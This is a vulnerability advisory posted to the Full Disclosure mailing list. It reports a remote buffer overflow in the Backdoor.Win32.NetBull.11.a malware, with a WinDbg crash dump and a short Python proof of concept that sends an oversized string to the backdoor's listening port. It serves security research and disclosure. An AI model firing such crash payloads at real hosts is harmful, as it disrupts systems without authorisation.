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Date: Mon, 18 Jan 2021 14:37:21 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.NetBull.11.a / Remote Buffer Overflow

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/80e98fdf726a3e727f3414bdbf2e86bb.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NetBull.11.a
Vulnerability: Remote Buffer Overflow
Description: Netbull listens on both TCP ports 23444 and 23445,
sending a large string of junk chars causes stack corruption
overwriting EDX register.
Type: PE32
MD5: 80e98fdf726a3e727f3414bdbf2e86bb
Vuln ID: MVID-2021-0035
Dropped files: c:\infected.exe
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/18/2021

Memory Dump:
EAX : 70D87B24     mfc42.70D87B24
EBX : FFFFFFFF
ECX : 2E240010
EDX : 41414140
EBP : 028F86A8
ESP : 0019F8C4
ESI : 2E240000
EDI : 3FFFFFC2
EIP : 70CA85D5     mfc42.70CA85D5


(1a2c.13f4): Access violation - code c0000005 (first/second chance not
available)
eax=00000000 ebx=00000000 ecx=2e05f010 edx=41414140 esi=00000003 edi=00000003
eip=773ced3c esp=0019ef84 ebp=0019f114 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
773ced3c c21400          ret     14h


0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************


FAULTING_IP:
mfc42!CString::CString+5
73c685d5 8901            mov     dword ptr [ecx],eax

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 73c685d5 (mfc42!CString::CString+0x00000005)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 2e05f010
Attempt to write to address 2e05f010

PROCESS_NAME:  Backdoor.Win32.NetBull.11.a.80e98fdf726a3e727f3414bdbf2e86bb.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p
referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  2e05f010

WRITE_ADDRESS:  2e05f010

FOLLOWUP_IP:
mfc42!CString::CString+5
73c685d5 8901            mov     dword ptr [ecx],eax

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  000013f4

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_READ_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_ffffffff

PRIMARY_PROBLEM_CLASS:  INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_ffffffff

DEFAULT_BUCKET_ID:  INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_ffffffff

LAST_CONTROL_TRANSFER:  from 00407f45 to 73c685d5

STACK_TEXT:
0019f8c0 00407f45 2e05f000 2e05f000 0019f8ec mfc42!CString::CString+0x5
WARNING: Stack unwind information not available. Following frames may be wrong.
0019f8d8 00407efb 043448fc 41414141 0019f9bc
Backdoor_Win32_NetBull_11_a_80e98fdf726a3e727f3414bdbf2e86bb+0x7f45
0019f8f4 00407408 2e05f000 2e05f000 00000001
Backdoor_Win32_NetBull_11_a_80e98fdf726a3e727f3414bdbf2e86bb+0x7efb
00000000 00000000 00000000 00000000 00000000
Backdoor_Win32_NetBull_11_a_80e98fdf726a3e727f3414bdbf2e86bb+0x7408


SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  mfc42!CString::CString+5

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: mfc42

IMAGE_NAME:  mfc42.dll



Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=23444

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    PACKET="A"*666

    s.send(PACKET)
    s.close()
    print("Backdoor.Win32.NetBull.11.a / Remote Buffer Overflow");
    print("MD5: 80e98fdf726a3e727f3414bdbf2e86bb");
    print("By Malvuln");

if __name__=="__main__":
    doit()


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or
otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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